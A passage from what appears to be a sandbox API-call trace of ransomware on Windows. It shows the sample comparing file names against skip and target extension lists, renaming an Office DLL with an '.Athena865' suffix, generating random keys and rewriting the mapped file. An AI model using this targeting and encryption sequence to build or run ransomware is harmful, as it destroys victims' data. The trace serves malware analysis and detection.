lpString1=0x241e8b8, lpString2="PRJRES.DLL" | out: lpString1="PRJRES.DLL") returned="PRJRES.DLL" [0114.480] lstrlenW (lpString="PRJRES.DLL") returned 10 [0114.480] lstrlenW (lpString="Athena865") returned 9 [0114.480] lstrcmpiW (lpString1="RJRES.DLL", lpString2="Athena865") returned 1 [0114.480] lstrlenW (lpString=".dll") returned 4 [0114.480] lstrcmpiW (lpString1="PRJRES.DLL", lpString2=".dll") returned 1 [0114.480] lstrlenW (lpString=".lnk") returned 4 [0114.480] lstrcmpiW (lpString1="PRJRES.DLL", lpString2=".lnk") returned 1 [0114.480] lstrlenW (lpString=".ini") returned 4 [0114.480] lstrcmpiW (lpString1="PRJRES.DLL", lpString2=".ini") returned 1 [0114.480] lstrlenW (lpString=".sys") returned 4 [0114.480] lstrcmpiW (lpString1="PRJRES.DLL", lpString2=".sys") returned 1 [0114.480] lstrlenW (lpString="PRJRES.DLL") returned 10 [0114.480] lstrlenW (lpString="bak") returned 3 [0114.480] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0114.480] lstrlenW (lpString="ba_") returned 3 [0114.481] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0114.481] lstrlenW (lpString="dbb") returned 3 [0114.481] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0114.481] lstrlenW (lpString="vmdk") returned 4 [0114.481] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0114.481] lstrlenW (lpString="rar") returned 3 [0114.481] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0114.481] lstrlenW (lpString="zip") returned 3 [0114.481] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0114.481] lstrlenW (lpString="tgz") returned 3 [0114.481] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0114.481] lstrlenW (lpString="vbox") returned 4 [0114.481] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0114.481] lstrlenW (lpString="vdi") returned 3 [0114.481] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0114.481] lstrlenW (lpString="vhd") returned 3 [0114.481] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0114.481] lstrlenW (lpString="vhdx") returned 4 [0114.481] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0114.481] lstrlenW (lpString="avhd") returned 4 [0114.481] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0114.481] lstrlenW (lpString="db") returned 2 [0114.481] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0114.481] lstrlenW (lpString="db2") returned 3 [0114.481] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0114.481] lstrlenW (lpString="db3") returned 3 [0114.481] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0114.481] lstrlenW (lpString="dbf") returned 3 [0114.481] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0114.481] lstrlenW (lpString="mdf") returned 3 [0114.482] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0114.482] lstrlenW (lpString="mdb") returned 3 [0114.482] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0114.482] lstrlenW (lpString="sql") returned 3 [0114.482] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0114.482] lstrlenW (lpString="sqlite") returned 6 [0114.482] lstrcmpiW (lpString1="ES.DLL", lpString2="sqlite") returned -1 [0114.482] lstrlenW (lpString="sqlite3") returned 7 [0114.482] lstrcmpiW (lpString1="RES.DLL", lpString2="sqlite3") returned -1 [0114.482] lstrlenW (lpString="sqlitedb") returned 8 [0114.482] lstrcmpiW (lpString1="JRES.DLL", lpString2="sqlitedb") returned -1 [0114.482] lstrlenW (lpString="xml") returned 3 [0114.482] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0114.482] lstrlenW (lpString="$er") returned 3 [0114.482] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0114.482] lstrlenW (lpString="4dd") returned 3 [0114.482] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0114.482] lstrlenW (lpString="4dl") returned 3 [0114.482] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0114.482] lstrlenW (lpString="^^^") returned 3 [0114.482] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0114.482] lstrlenW (lpString="abs") returned 3 [0114.482] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0114.482] lstrlenW (lpString="abx") returned 3 [0114.482] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0114.482] lstrlenW (lpString="accdb") returned 5 [0114.482] lstrcmpiW (lpString1="S.DLL", lpString2="accdb") returned 1 [0114.482] lstrlenW (lpString="accdc") returned 5 [0114.482] lstrcmpiW (lpString1="S.DLL", lpString2="accdc") returned 1 [0114.482] lstrlenW (lpString="accde") returned 5 [0114.483] lstrcmpiW (lpString1="S.DLL", lpString2="accde") returned 1 [0114.483] lstrlenW (lpString="accdr") returned 5 [0114.483] lstrcmpiW (lpString1="S.DLL", lpString2="accdr") returned 1 [0114.483] lstrlenW (lpString="accdt") returned 5 [0114.483] lstrcmpiW (lpString1="S.DLL", lpString2="accdt") returned 1 [0114.483] lstrlenW (lpString="accdw") returned 5 [0114.483] lstrcmpiW (lpString1="S.DLL", lpString2="accdw") returned 1 [0114.483] lstrlenW (lpString="accft") returned 5 [0114.483] lstrcmpiW (lpString1="S.DLL", lpString2="accft") returned 1 [0114.483] lstrlenW (lpString="adb") returned 3 [0114.483] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0114.483] lstrlenW (lpString="adb") returned 3 [0114.483] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0114.483] lstrlenW (lpString="ade") returned 3 [0114.483] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0114.483] lstrlenW (lpString="adf") returned 3 [0114.483] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0114.483] lstrlenW (lpString="adn") returned 3 [0114.483] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0114.483] lstrlenW (lpString="adp") returned 3 [0114.483] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0114.483] lstrlenW (lpString="alf") returned 3 [0114.483] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0114.483] lstrlenW (lpString="ask") returned 3 [0114.483] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0114.483] lstrlenW (lpString="btr") returned 3 [0114.483] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0114.483] lstrlenW (lpString="cat") returned 3 [0114.483] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0114.483] lstrlenW (lpString="cdb") returned 3 [0114.484] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0114.484] lstrlenW (lpString="ckp") returned 3 [0114.484] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0114.484] lstrlenW (lpString="cma") returned 3 [0114.484] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0114.484] lstrlenW (lpString="cpd") returned 3 [0114.484] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0114.484] lstrlenW (lpString="dacpac") returned 6 [0114.484] lstrcmpiW (lpString1="ES.DLL", lpString2="dacpac") returned 1 [0114.484] lstrlenW (lpString="dad") returned 3 [0114.484] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0114.484] lstrlenW (lpString="dadiagrams") returned 10 [0114.484] lstrlenW (lpString="daschema") returned 8 [0114.484] lstrcmpiW (lpString1="JRES.DLL", lpString2="daschema") returned 1 [0114.484] lstrlenW (lpString="db-journal") returned 10 [0114.484] lstrlenW (lpString="db-shm") returned 6 [0114.484] lstrcmpiW (lpString1="ES.DLL", lpString2="db-shm") returned 1 [0114.484] lstrlenW (lpString="db-wal") returned 6 [0114.484] lstrcmpiW (lpString1="ES.DLL", lpString2="db-wal") returned 1 [0114.484] lstrlenW (lpString="dbc") returned 3 [0114.484] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0114.484] lstrlenW (lpString="dbs") returned 3 [0114.484] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0114.484] lstrlenW (lpString="dbt") returned 3 [0114.484] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0114.484] lstrlenW (lpString="dbv") returned 3 [0114.484] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0114.484] lstrlenW (lpString="dbx") returned 3 [0114.484] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0114.484] lstrlenW (lpString="dcb") returned 3 [0114.485] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0114.485] lstrlenW (lpString="dct") returned 3 [0114.485] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0114.485] lstrlenW (lpString="dcx") returned 3 [0114.485] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0114.485] lstrlenW (lpString="ddl") returned 3 [0114.485] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0114.485] lstrlenW (lpString="dlis") returned 4 [0114.485] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0114.485] lstrlenW (lpString="dp1") returned 3 [0114.485] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0114.485] lstrlenW (lpString="dqy") returned 3 [0114.485] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0114.485] lstrlenW (lpString="dsk") returned 3 [0114.485] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0114.485] lstrlenW (lpString="dsn") returned 3 [0114.485] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0114.485] lstrlenW (lpString="dtsx") returned 4 [0114.485] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0114.485] lstrlenW (lpString="dxl") returned 3 [0114.485] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0114.485] lstrlenW (lpString="eco") returned 3 [0114.485] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0114.485] lstrlenW (lpString="ecx") returned 3 [0114.485] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0114.485] lstrlenW (lpString="edb") returned 3 [0114.485] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0114.485] lstrlenW (lpString="epim") returned 4 [0114.485] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0114.485] lstrlenW (lpString="fcd") returned 3 [0114.486] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0114.486] lstrlenW (lpString="fdb") returned 3 [0114.486] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0114.486] lstrlenW (lpString="fic") returned 3 [0114.486] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0114.486] lstrlenW (lpString="flexolibrary") returned 12 [0114.486] lstrlenW (lpString="fm5") returned 3 [0114.486] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0114.486] lstrlenW (lpString="fmp") returned 3 [0114.486] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0114.486] lstrlenW (lpString="fmp12") returned 5 [0114.486] lstrcmpiW (lpString1="S.DLL", lpString2="fmp12") returned 1 [0114.486] lstrlenW (lpString="fmpsl") returned 5 [0114.486] lstrcmpiW (lpString1="S.DLL", lpString2="fmpsl") returned 1 [0114.486] lstrlenW (lpString="fol") returned 3 [0114.486] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0114.486] lstrlenW (lpString="fp3") returned 3 [0114.486] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0114.486] lstrlenW (lpString="fp4") returned 3 [0114.486] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0114.486] lstrlenW (lpString="fp5") returned 3 [0114.486] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0114.486] lstrlenW (lpString="fp7") returned 3 [0114.486] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0114.486] lstrlenW (lpString="fpt") returned 3 [0114.486] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0114.486] lstrlenW (lpString="frm") returned 3 [0114.486] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0114.486] lstrlenW (lpString="gdb") returned 3 [0114.486] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0114.487] lstrlenW (lpString="gdb") returned 3 [0114.487] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0114.487] lstrlenW (lpString="grdb") returned 4 [0114.487] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0114.487] lstrlenW (lpString="gwi") returned 3 [0114.487] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0114.487] lstrlenW (lpString="hdb") returned 3 [0114.487] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0114.487] lstrlenW (lpString="his") returned 3 [0114.487] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0114.487] lstrlenW (lpString="ib") returned 2 [0114.487] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0114.487] lstrlenW (lpString="idb") returned 3 [0114.487] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0114.487] lstrlenW (lpString="ihx") returned 3 [0114.487] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0114.487] lstrlenW (lpString="itdb") returned 4 [0114.487] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0114.487] lstrlenW (lpString="itw") returned 3 [0114.487] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0114.487] lstrlenW (lpString="jet") returned 3 [0114.487] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0114.487] lstrlenW (lpString="jtx") returned 3 [0114.487] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0114.487] lstrlenW (lpString="kdb") returned 3 [0114.487] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0114.487] lstrlenW (lpString="kexi") returned 4 [0114.487] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0114.488] lstrlenW (lpString="kexic") returned 5 [0114.488] lstrcmpiW (lpString1="S.DLL", lpString2="kexic") returned 1 [0114.488] lstrlenW (lpString="kexis") returned 5 [0114.488] lstrcmpiW (lpString1="S.DLL", lpString2="kexis") returned 1 [0114.488] lstrlenW (lpString="lgc") returned 3 [0114.488] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0114.488] lstrlenW (lpString="lwx") returned 3 [0114.488] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0114.488] lstrlenW (lpString="maf") returned 3 [0114.488] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0114.488] lstrlenW (lpString="maq") returned 3 [0114.488] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0114.488] lstrlenW (lpString="mar") returned 3 [0114.488] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0114.488] lstrlenW (lpString="marshal") returned 7 [0114.488] lstrcmpiW (lpString1="RES.DLL", lpString2="marshal") returned 1 [0114.488] lstrlenW (lpString="mas") returned 3 [0114.488] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0114.488] lstrlenW (lpString="mav") returned 3 [0114.488] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0114.488] lstrlenW (lpString="maw") returned 3 [0114.488] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0114.488] lstrlenW (lpString="mdbhtml") returned 7 [0114.488] lstrcmpiW (lpString1="RES.DLL", lpString2="mdbhtml") returned 1 [0114.488] lstrlenW (lpString="mdn") returned 3 [0114.488] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0114.488] lstrlenW (lpString="mdt") returned 3 [0114.488] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0114.488] lstrlenW (lpString="mfd") returned 3 [0114.488] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0114.489] lstrlenW (lpString="mpd") returned 3 [0114.489] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0114.489] lstrlenW (lpString="mrg") returned 3 [0114.489] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0114.489] lstrlenW (lpString="mud") returned 3 [0114.489] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0114.489] lstrlenW (lpString="mwb") returned 3 [0114.489] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0114.489] lstrlenW (lpString="myd") returned 3 [0114.489] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0114.489] lstrlenW (lpString="ndf") returned 3 [0114.489] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0114.489] lstrlenW (lpString="nnt") returned 3 [0114.489] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0114.489] lstrlenW (lpString="nrmlib") returned 6 [0114.489] lstrcmpiW (lpString1="ES.DLL", lpString2="nrmlib") returned -1 [0114.489] lstrlenW (lpString="ns2") returned 3 [0114.489] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0114.489] lstrlenW (lpString="ns3") returned 3 [0114.489] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0114.489] lstrlenW (lpString="ns4") returned 3 [0114.489] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0114.489] lstrlenW (lpString="nsf") returned 3 [0114.489] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0114.489] lstrlenW (lpString="nv") returned 2 [0114.489] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0114.489] lstrlenW (lpString="nv2") returned 3 [0114.489] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0114.489] lstrlenW (lpString="nwdb") returned 4 [0114.489] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0114.490] lstrlenW (lpString="nyf") returned 3 [0114.490] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0114.490] lstrlenW (lpString="odb") returned 3 [0114.490] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0114.490] lstrlenW (lpString="odb") returned 3 [0114.490] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0114.490] lstrlenW (lpString="oqy") returned 3 [0114.490] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0114.490] lstrlenW (lpString="ora") returned 3 [0114.490] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0114.490] lstrlenW (lpString="orx") returned 3 [0114.490] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0114.490] lstrlenW (lpString="owc") returned 3 [0114.490] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0114.490] lstrlenW (lpString="p96") returned 3 [0114.490] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0114.490] lstrlenW (lpString="p97") returned 3 [0114.490] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0114.490] lstrlenW (lpString="pan") returned 3 [0114.490] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0114.490] lstrlenW (lpString="pdb") returned 3 [0114.492] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0114.492] lstrlenW (lpString="pdm") returned 3 [0114.492] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0114.492] lstrlenW (lpString="pnz") returned 3 [0114.492] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0114.492] lstrlenW (lpString="qry") returned 3 [0114.492] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0114.493] lstrlenW (lpString="qvd") returned 3 [0114.493] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0114.493] lstrlenW (lpString="rbf") returned 3 [0114.493] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0114.493] lstrlenW (lpString="rctd") returned 4 [0114.493] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0114.493] lstrlenW (lpString="rod") returned 3 [0114.493] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0114.493] lstrlenW (lpString="rodx") returned 4 [0114.493] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0114.493] lstrlenW (lpString="rpd") returned 3 [0114.493] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0114.493] lstrlenW (lpString="rsd") returned 3 [0114.493] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0114.493] lstrlenW (lpString="sas7bdat") returned 8 [0114.493] lstrcmpiW (lpString1="JRES.DLL", lpString2="sas7bdat") returned -1 [0114.493] lstrlenW (lpString="sbf") returned 3 [0114.493] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0114.493] lstrlenW (lpString="scx") returned 3 [0114.493] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0114.493] lstrlenW (lpString="sdb") returned 3 [0114.493] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0114.493] lstrlenW (lpString="sdc") returned 3 [0114.493] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0114.493] lstrlenW (lpString="sdf") returned 3 [0114.493] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0114.493] lstrlenW (lpString="sis") returned 3 [0114.493] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0114.493] lstrlenW (lpString="spq") returned 3 [0114.494] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0114.494] lstrlenW (lpString="te") returned 2 [0114.494] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0114.494] lstrlenW (lpString="teacher") returned 7 [0114.494] lstrcmpiW (lpString1="RES.DLL", lpString2="teacher") returned -1 [0114.494] lstrlenW (lpString="tmd") returned 3 [0114.494] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0114.494] lstrlenW (lpString="tps") returned 3 [0114.494] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0114.494] lstrlenW (lpString="trc") returned 3 [0114.494] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0114.494] lstrlenW (lpString="trc") returned 3 [0114.494] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0114.494] lstrlenW (lpString="trm") returned 3 [0114.494] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0114.494] lstrlenW (lpString="udb") returned 3 [0114.494] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0114.494] lstrlenW (lpString="udl") returned 3 [0114.494] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0114.494] lstrlenW (lpString="usr") returned 3 [0114.494] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0114.494] lstrlenW (lpString="v12") returned 3 [0114.494] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0114.494] lstrlenW (lpString="vis") returned 3 [0114.494] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0114.494] lstrlenW (lpString="vpd") returned 3 [0114.494] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0114.494] lstrlenW (lpString="vvv") returned 3 [0114.494] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0114.494] lstrlenW (lpString="wdb") returned 3 [0114.495] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0114.495] lstrlenW (lpString="wmdb") returned 4 [0114.495] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0114.495] lstrlenW (lpString="wrk") returned 3 [0114.495] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0114.495] lstrlenW (lpString="xdb") returned 3 [0114.495] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0114.495] lstrlenW (lpString="xld") returned 3 [0114.495] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0114.495] lstrlenW (lpString="xmlff") returned 5 [0114.495] lstrcmpiW (lpString1="S.DLL", lpString2="xmlff") returned -1 [0114.495] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL.Athena865") returned 76 [0114.495] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll.athena865"), dwFlags=0x1) returned 1 [0114.502] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0114.502] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3943312) returned 1 [0114.502] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0114.502] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0114.502] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0114.502] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0114.503] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0114.503] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0114.503] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3c2e90, lpName=0x0) returned 0x154 [0114.505] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x1c2e90) returned 0x2d50000 [0114.611] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0114.703] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0114.720] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0114.722] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0114.722] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0114.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0114.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0114.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0114.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0114.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0114.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0114.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0114.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0114.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0114.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0114.723] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0114.745] CloseHandle (hObject=0x154) returned 1 [0114.745] CloseHandle (hObject=0x17c) returned 1 [0114.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0114.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0114.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0114.753] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a199a00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xdac16060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a199a00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RICHED20.DLL", 